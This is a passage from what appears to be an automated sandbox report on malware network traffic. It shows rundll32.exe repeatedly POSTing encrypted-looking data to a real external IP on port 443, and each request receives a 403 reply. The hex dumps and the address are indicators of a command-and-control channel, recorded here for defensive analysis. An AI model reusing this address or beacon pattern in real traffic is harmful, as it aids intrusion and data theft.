f2 78 71 a6 14 7a Data Ascii: kF$WZOlK#DQL1hK(oN+Amc0k7Sg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:55:46 UTC	385	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:55:46 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
77	192.168.2.3	50118	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:55:46 UTC	380	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4802 Connection: Close Cache-Control: no-cache
2021-10-28 02:55:46 UTC	380	OUT	Data Raw: f5 29 ae 6a 10 0c 24 ac 57 b0 5a a3 4f 6c 4b 9c b5 a2 23 ad fb af a2 44 06 10 db 9a de 51 92 4c a3 a7 e8 31 68 04 8c b2 cd aa a3 bd d3 4b 9f 8d fe e6 28 6f 90 0d 1c 4e 0f 2a 8d 08 2b 41 2a f6 6d fd 95 04 15 f1 63 91 09 eb 8c 30 6b 05 56 d3 bb ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: )j$WZOlK#DQL1hK(oN+Amc0kVSg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:55:46 UTC	385	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:55:46 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
78	192.168.2.3	50125	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:55:49 UTC	385	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4814 Connection: Close Cache-Control: no-cache
2021-10-28 02:55:49 UTC	385	OUT	Data Raw: 6b 46 df dd 10 0c 24 ac 57 b0 5a a3 4f 6c 4b 9c b5 a2 23 ad fb af a2 44 06 10 db 9a de 51 92 4c a3 a7 e8 31 68 04 8c b2 cd aa a3 bd d3 4b 9f 8d fe e6 28 6f 90 0d 1c 4e 0f 2a 8d 08 2b 41 2a f6 6d fd 95 04 15 f1 63 91 09 eb 8c 30 6b 05 37 cd bb 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: kF$WZOlK#DQL1hK(oN+Amc0k7Sg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:55:50 UTC	395	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:55:50 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
79	192.168.2.3	50126	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:55:50 UTC	390	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4802 Connection: Close Cache-Control: no-cache
2021-10-28 02:55:50 UTC	390	OUT	Data Raw: f5 29 ae 6a 10 0c 24 ac 57 b0 5a a3 4f 6c 4b 9c b5 a2 23 ad fb af a2 44 06 10 db 9a de 51 92 4c a3 a7 e8 31 68 04 8c b2 cd aa a3 bd d3 4b 9f 8d fe e6 28 6f 90 0d 1c 4e 0f 2a 8d 08 2b 41 2a f6 6d fd 95 04 15 f1 63 91 09 eb 8c 30 6b 05 56 d3 bb ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: )j$WZOlK#DQL1hK(oN+Amc0kVSg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:55:50 UTC	395	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:55:50 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
8	192.168.2.3	49774	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:53:29 UTC	39	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4814 Connection: Close Cache-Control: no-cache
2021-10-28 02:53:29 UTC	39	OUT	Data Raw: 6b 46 df dd 10 0c 24 ac 57 b0 5a a3 4f 6c 4b 9c b5 a2 23 ad fb af a2 44 06 10 db 9a de 51 92 4c a3 a7 e8 31 68 04 8c b2 cd aa a3 bd d3 4b 9f 8d fe e6 28 6f 90 0d 1c 4e 0f 2a 8d 08 2b 41 2a f6 6d fd 95 04 15 f1 63 91 09 eb 8c 30 6b 05 37 cd bb 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: kF$WZOlK#DQL1hK(oN+Amc0k7Sg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:53:30 UTC	49	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:53:30 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
80	192.168.2.3	50133	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:55:53 UTC	395	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4814 Connection: Close Cache-Control: no-cache
2021-10-28 02:55:53 UTC	395	OUT	Data Raw: 6b 46 df dd 10 0c 24 ac 57 b0 5a a3 4f 6c 4b 9c b5 a2 23 ad fb af a2 44 06 10 db 9a de 51 92 4c a3 a7 e8 31 68 04 8c b2 cd aa a3 bd d3 4b 9f 8d fe e6 28 6f 90 0d 1c 4e 0f 2a 8d 08 2b 41 2a f6 6d fd 95 04 15 f1 63 91 09 eb 8c 30 6b 05 37 cd bb 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: kF$WZOlK#DQL1hK(oN+Amc0k7Sg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:55:54 UTC	404	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:55:54 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
81	192.168.2.3	50134	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:55:54 UTC	400	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4802 Connection: Close Cache-Control: no-cache
2021-10-28 02:55:54 UTC	400	OUT	Data Raw: f5 29 ae 6a 10 0c 24 ac 57 b0 5a a3 4f 6c 4b 9c b5 a2 23 ad fb af a2 44 06 10 db 9a de 51 92 4c a3 a7 e8 31 68 04 8c b2 cd aa a3 bd d3 4b 9f 8d fe e6 28 6f 90 0d 1c 4e 0f 2a 8d 08 2b 41 2a f6 6d fd 95 04 15 f1 63 91 09 eb 8c 30 6b 05 56 d3 bb ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: )j$WZOlK#DQL1hK(oN+Amc0kVSg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:55:54 UTC	405	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:55:54 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
82	192.168.2.3	50141	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:55:57 UTC	405	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4814 Connection: Close Cache-Control: no-cache
2021-10-28 02:55:57 UTC	405	OUT	Data Raw: 6b 46 df dd 10 0c 24 ac 57 b0 5a a3 4f 6c 4b 9c b5 a2 23 ad fb af a2 44 06 10 db 9a de 51 92 4c a3 a7 e8 31 68 04 8c b2 cd aa a3 bd d3 4b 9f 8d fe e6 28 6f 90 0d 1c 4e 0f 2a 8d 08 2b 41 2a f6 6d fd 95 04 15 f1 63 91 09 eb 8c 30 6b 05 37 cd bb 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: kF$WZOlK#DQL1hK(oN+Amc0k7Sg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:55:58 UTC	414	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:55:58 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
83	192.168.2.3	50142	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:55:57 UTC	410	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4802 Connection: Close Cache-Control: no-cache
2021-10-28 02:55:57 UTC	410	OUT	Data Raw: f5 29 ae 6a 10 0c 24 ac 57 b0 5a a3 4f 6c 4b 9c b5 a2 23 ad fb af a2 44 06 10 db 9a de 51 92 4c a3 a7 e8 31 68 04 8c b2 cd aa a3 bd d3 4b 9f 8d fe e6 28 6f 90 0d 1c 4e 0f 2a 8d 08 2b 41 2a f6 6d fd 95 04 15 f1 63 91 09 eb 8c 30 6b 05 56 d3 bb ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: )j$WZOlK#DQL1hK(oN+Amc0kVSg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:55:58 UTC	415	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:55:58 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
84	192.168.2.3	50149	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:56:01 UTC	415	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4814 Connection: Close Cache-Control: no-cache
2021-10-28 02:56:01 UTC	415	OUT	Data Raw: 6b 46 df dd 10 0c 24 ac 57 b0 5a a3 4f 6c 4b 9c b5 a2 23 ad fb af a2 44 06 10 db 9a de 51 92 4c a3 a7 e8 31 68 04 8c b2 cd aa a3 bd d3 4b 9f 8d fe e6 28 6f 90 0d 1c 4e 0f 2a 8d 08 2b 41 2a f6 6d fd 95 04 15 f1 63 91 09 eb 8c 30 6b 05 37 cd bb 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: kF$WZOlK#DQL1hK(oN+Amc0k7Sg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:56:02 UTC	424	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:56:02 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
85	192.168.2.3	50150	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:56:01 UTC	419	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4802 Connection: Close Cache-Control: no-cache
2021-10-28 02:56:01 UTC	420	OUT	Data Raw: f5 29 ae 6a 10 0c 24 ac 57 b0 5a a3 4f 6c 4b 9c b5 a2 23 ad fb af a2 44 06 10 db 9a de 51 92 4c a3 a7 e8 31 68 04 8c b2 cd aa a3 bd d3 4b 9f 8d fe e6 28 6f 90 0d 1c 4e 0f 2a 8d 08 2b 41 2a f6 6d fd 95 04 15 f1 63 91 09 eb 8c 30 6b 05 56 d3 bb ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: )j$WZOlK#DQL1hK(oN+Amc0kVSg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:56:02 UTC	424	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:56:02 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
86	192.168.2.3	50157	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:56:05 UTC	425	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4802 Connection: Close Cache-Control: no-cache
2021-10-28 02:56:05 UTC	425	OUT	Data Raw: f5 29 ae 6a 10 0c 24 ac 57 b0 5a a3 4f 6c 4b 9c b5 a2 23 ad fb af a2 44 06 10 db 9a de 51 92 4c a3 a7 e8 31 68 04 8c b2 cd aa a3 bd d3 4b 9f 8d fe e6 28 6f 90 0d 1c 4e 0f 2a 8d 08 2b 41 2a f6 6d fd 95 04 15 f1 63 91 09 eb 8c 30 6b 05 56 d3 bb ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: )j$WZOlK#DQL1hK(oN+Amc0kVSg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:56:06 UTC	434	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:56:06 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
87	192.168.2.3	50158	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:56:05 UTC	429	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4814 Connection: Close Cache-Control: no-cache
2021-10-28 02:56:05 UTC	429	OUT	Data Raw: 6b 46 df dd 10 0c 24 ac 57 b0 5a a3 4f 6c 4b 9c b5 a2 23 ad fb af a2 44 06 10 db 9a de 51 92 4c a3 a7 e8 31 68 04 8c b2 cd aa a3 bd d3 4b 9f 8d fe e6 28 6f 90 0d 1c 4e 0f 2a 8d 08 2b 41 2a f6 6d fd 95 04 15 f1 63 91 09 eb 8c 30 6b 05 37 cd bb 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: kF$WZOlK#DQL1hK(oN+Amc0k7Sg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:56:06 UTC	434	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:56:06 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
88	192.168.2.3	50165	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:56:09 UTC	434	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4802 Connection: Close Cache-Control: no-cache
2021-10-28 02:56:09 UTC	435	OUT	Data Raw: f5 29 ae 6a 10 0c 24 ac 57 b0 5a a3 4f 6c 4b 9c b5 a2 23 ad fb af a2 44 06 10 db 9a de 51 92 4c a3 a7 e8 31 68 04 8c b2 cd aa a3 bd d3 4b 9f 8d fe e6 28 6f 90 0d 1c 4e 0f 2a 8d 08 2b 41 2a f6 6d fd 95 04 15 f1 63 91 09 eb 8c 30 6b 05 56 d3 bb ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: )j$WZOlK#DQL1hK(oN+Amc0kVSg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:56:10 UTC	444	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:56:10 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
89	192.168.2.3	50166	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:56:09 UTC	439	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4814 Connection: Close Cache-Control: no-cache
2021-10-28 02:56:09 UTC	439	OUT	Data Raw: 6b 46 df dd 10 0c 24 ac 57 b0 5a a3 4f 6c 4b 9c b5 a2 23 ad fb af a2 44 06 10 db 9a de 51 92 4c a3 a7 e8 31 68 04 8c b2 cd aa a3 bd d3 4b 9f 8d fe e6 28 6f 90 0d 1c 4e 0f 2a 8d 08 2b 41 2a f6 6d fd 95 04 15 f1 63 91 09 eb 8c 30 6b 05 37 cd bb 8c 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: kF$WZOlK#DQL1hK(oN+Amc0k7Sg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:56:10 UTC	444	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:56:10 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
9	192.168.2.3	49775	192.46.210.220	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 02:53:29 UTC	44	OUT	POST / HTTP/1.1 Host: 192.46.210.220 Content-Length: 4802 Connection: Close Cache-Control: no-cache
